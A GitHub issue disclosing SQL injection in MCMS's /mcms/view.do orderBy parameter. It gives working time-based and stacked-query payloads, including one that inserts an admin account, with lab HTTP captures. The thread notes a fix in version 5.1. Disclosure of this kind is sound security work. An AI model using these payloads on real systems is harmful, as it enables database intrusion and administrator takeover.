

[New issue](#)[Jump to bottom](#)

Security issue - SQL injection in /mcms/view.do #45

[Closed](#)

Y4nTsing opened this issue on May 12, 2020 · 1 comment

Y4nTsing commented on May 12, 2020 • edited

The vulnerable query is in IContentDao.xml .

src/main/java/net/mingsoft/cms/dao/IContentDao.xml:

```
<!-- 根据站点编号、开始、结束时间和栏目编号查询文章编号集合 -->
<select id="queryIdsByCategoryIdForParser" resultMap="resultBean">
    select
        cms_content.id article_id,c.*
    FROM cms_content
    LEFT JOIN cms_category c ON content_category_id = c.id
    where
        <if test="appId > 0">
            cms_content.app_id = #{appId}
        </if>
        <!-- 查询子栏目数据 -->
        <if test="categoryId > 0">
            and (content_category_id=#{categoryId} or content_category_id in
                (select id FROM cms_category where <include refid="queryWhereCategoryId"></include>))
        </if>
        <if test="beginTime!=null and beginTime!=''">
            and content_datetime >= #{beginTime}
        </if>
        <if test="endTime!=null and endTime!=''">
            and content_datetime <= #{endTime}
        </if>
        <if test="orderBy!=null and order!=null and orderBy!='' and order!=''">
            ORDER BY `${orderBy}` `${order}`
        </if>
</select>
```

Param "orderBy" without properly handling.

src/main/java/net/mingsoft/cms/action/web/MCmsAction.java:

```
@GetMapping("/view.do")
public void view(String orderBy,String order,HttpServletRequest req, HttpServletResponse resp) {
    //参数文章编号
    ContentEntity article = (ContentEntity) contentBiz.getEntity(BasicUtil.getInt(ParserUtil.ID));
    if(ObjectUtil.isNull(article)){
        this.outJson(resp, null,false,getResString("err.empty", this.getResString("id")));
        return;
    }
    if(StringUtils.isNotBlank(order)){
        //防注入
        if(!order.toLowerCase().equals("asc")&&!order.toLowerCase().equals("desc")){
            this.outJson(resp, null,false,getResString("err.error", this.getResString("order")));
            return;
        }
    }
    PageBean page = new PageBean();
    //根据文章编号查询栏目详情模板
    CategoryEntity column = (CategoryEntity) categoryBiz.getEntity(Integer.parseInt(article.getContentCategoryId()));
    //解析后的内容
    String content = "";
    Map map = BasicUtil.assemblyRequestMap();
    //动态解析
    map.put(ParserUtil.IS_DO,true);
    //设置动态请求的模块路径
    map.put(ParserUtil.MODEL_NAME, "mcms");
    map.put(ParserUtil.URL, BasicUtil.getUrl());
    map.put(ParserUtil.PAGE, page);
    map.put(ParserUtil.ID, article.getId());
    List<ContentBean> articleIdList = contentBiz.queryIdsByCategoryIdForParser(column.getCategoryId(), null, null,orderBy,order);
```

First we need to enumerate the param "id" from 1 to 9999.

If the id is empty, we will get an error:

172.16.71.222:8080/ms-mcms/mcms/view.do?id=1

JSON 原始数据 头

保存 复制 全部折叠 全部展开 过滤 JSON

result: false
resultMsg: "主键编号不能为空"

Request

Raw Params Headers Hex

```
GET /ms-mcms/mcms/view.do?id=1 HTTP/1.1
Host: 172.16.71.222:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=40011329675943402A73998921BEC995; pageno_cookie=1
Upgrade-Insecure-Requests: 1
```

Response

Raw Headers Hex

```
HTTP/1.1 200
Content-Type: application/json;charset=utf-8
Date: Mon, 11 May 2020 16:37:24 GMT
Connection: close
Content-Length: 55

{"result":false,"resultMsg":"主键编号不能为空"}
```

If the id is available, we will get a normal page:

172.16.71.222:8080/ms-mcms/mcms/view.do?id=221

MS 走进铭飞 案例 插件&模板 在线留言 技术支持 请输入关键字 登录 | 注册

案例 Case list

关于我们

公司于2012年3月8日,已正式向《景德镇市工商行政管理局》领取营业执照。 执照。

公司名称: 景德镇铭飞科技有限公司

经营范围: 计算机系统服务及技术开发、咨询服务

In this case, I choose 221 as the id, it's very easy to enumerate the id:

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
220	220	200	<input type="checkbox"/>	<input type="checkbox"/>	37964	
221	221	200	<input type="checkbox"/>	<input type="checkbox"/>	37964	
222	222	200	<input type="checkbox"/>	<input type="checkbox"/>	37964	
24	24	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
36	36	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
37	37	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
52	52	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
53	53	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
54	54	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
55	55	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
56	56	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
57	57	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
58	58	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
59	59	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	
60	60	200	<input type="checkbox"/>	<input type="checkbox"/>	6991	

GET /ms-mcms/mcms/view.do?id=221 HTTP/1.1
Host: 172.16.71.222:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=40011329675943402A73998921BEC995; pageno_cookie=1
Upgrade-Insecure-Requests: 1

Then we can easily confirm there is a SQL injection with the following url:

{URL-TO-MCMS}/mcms/view.do?id=221&order=desc&orderby=content_category_id%60,(select%201%20from%20(select%20if(1=1,sleep(3),sleep(0)))a)%23

If the condition is true (1=1) , it will delay 3 seconds:

Request
Raw Params Headers Hex

GET /ms-mcms/mcms/view.do?id=221&order=desc&orderby=content_category_id%60,(select%201%20from%20(select%20if(1=1,sleep(3),sleep(0)))a)%23 HTTP/1.1
Host: 172.16.71.222:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=EF0A4A516560BB65D8E44DF8A7CBC957
Upgrade-Insecure-Requests: 1

Response
Raw Headers Hex HTML Render

HTTP/1.1 200
Content-Type: text/html; charset=utf-8
Date: Mon, 11 May 2020 14:58:34 GMT
Connection: close
Content-Length: 22450

<!DOCTYPE html>
<html>
 <head>
 <title>MCMS-OPEN</title>
 <meta charset="utf-8">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/plugins/iconfont/1.0.0/iconfont.css" />
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/base.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/index.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/advicess.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/caselist.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/about.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/newslist.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/newslist.css">
 </head>
</html>

Done

22,585 bytes | 3,338 millis

If the condition is false (1=2) , it will respond immediately:

Request
Raw Params Headers Hex

GET /ms-mcms/mcms/view.do?id=221&order=desc&orderby=content_category_id%60,(select%201%20from%20(select%20if(1=2,sleep(3),sleep(0)))a)%23 HTTP/1.1
Host: 172.16.71.222:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=EF0A4A516560BB65D8E44DF8A7CBC957
Upgrade-Insecure-Requests: 1

Response
Raw Headers Hex HTML Render

HTTP/1.1 200
Content-Type: text/html; charset=utf-8
Date: Mon, 11 May 2020 14:58:59 GMT
Connection: close
Content-Length: 22450

<!DOCTYPE html>
<html>
 <head>
 <title>MCMS-OPEN</title>
 <meta charset="utf-8">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/plugins/iconfont/1.0.0/iconfont.css" />
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/base.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/index.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/advicess.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/caselist.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/about.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/newslist.css">
 <link rel="stylesheet" type="text/css" href="http://172.16.71.222:8080/ms-mcms/templets/1/default/css/newslist.css">
 </head>
</html>

Done

22,585 bytes | 334 millis

So it's a typical SQL Injection.

And there will be a Stacked SQL Injection if someone using application-dev.yml because allowMultiQueries set to true.
src/main/resources/application-dev.yml:

```
spring:
  datasource:
    url: jdbc:mysql://localhost:3306/db-mcms-open?autoReconnect=true&useUnicode=true&characterEncoding=utf8&useSSL=false&allowMultiQueries=true&serverTimezone=Asia/Shanghai
```

Malicious user can easily inject an admin account (username:admin password:msopen) into database with following url:

```
{URL-T0-MCMS}/mcms/view.do?
id=221&order=desc&orderby=content_category_id%60;insert%20into%20manager%20(manager_name,manager_nickname,manager_password,manager_roleid)%20values%20('admin','admin','9d8622060de5f2
```

In my case the url is:

```
http://172.16.71.222:8080/ms-mcms/mcms/view.do?
id=221&order=desc&orderby=content_category_id%60;insert%20into%20manager%20(manager_name,manager_nickname,manager_password,manager_roleid)%20values%20('admin','admin','9d8622060de5f2
```

localhost

db-mcms-open

app

cms_category

cms_content

cms_history_log

manager

mdiy_dict

mdiy_form

mdiy_model

mdiy_page

mdiy_post_feedback

对象浏览器

数据浏览器

SQL编辑器

0

100

过滤

manager_name	manager_nickname	manager_password	manager_roleid	manag
msopen	msopen	9d8622060de5f24937b60585c3f4d66b	48	
admin	admin	9d8622060de5f24937b60585c3f4d66b	48	

Login successfully :

MS v5.0

权限管理

系统设置

主界面

常用功能

文章管理

栏目管理

静态化

管理员管理

角色管理

菜单管理

模板管理

应用设置

价值源自分享

铭飞MCms在线文档

铭飞MS平台 (一)

231212174

铭飞MS平台 (二)

221335098

铭飞MS平台 (三)

242805203

铭飞MS平台 (四)

881894877

d1227731421 commented on Sep 10, 2020

Contributor

Use mcms 5.1 version, the official has solved the problem

killfen closed this as completed on Sep 10, 2020

dvasquez-7 mentioned this issue on Jun 24

Insufficient fix for security issue #96

Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

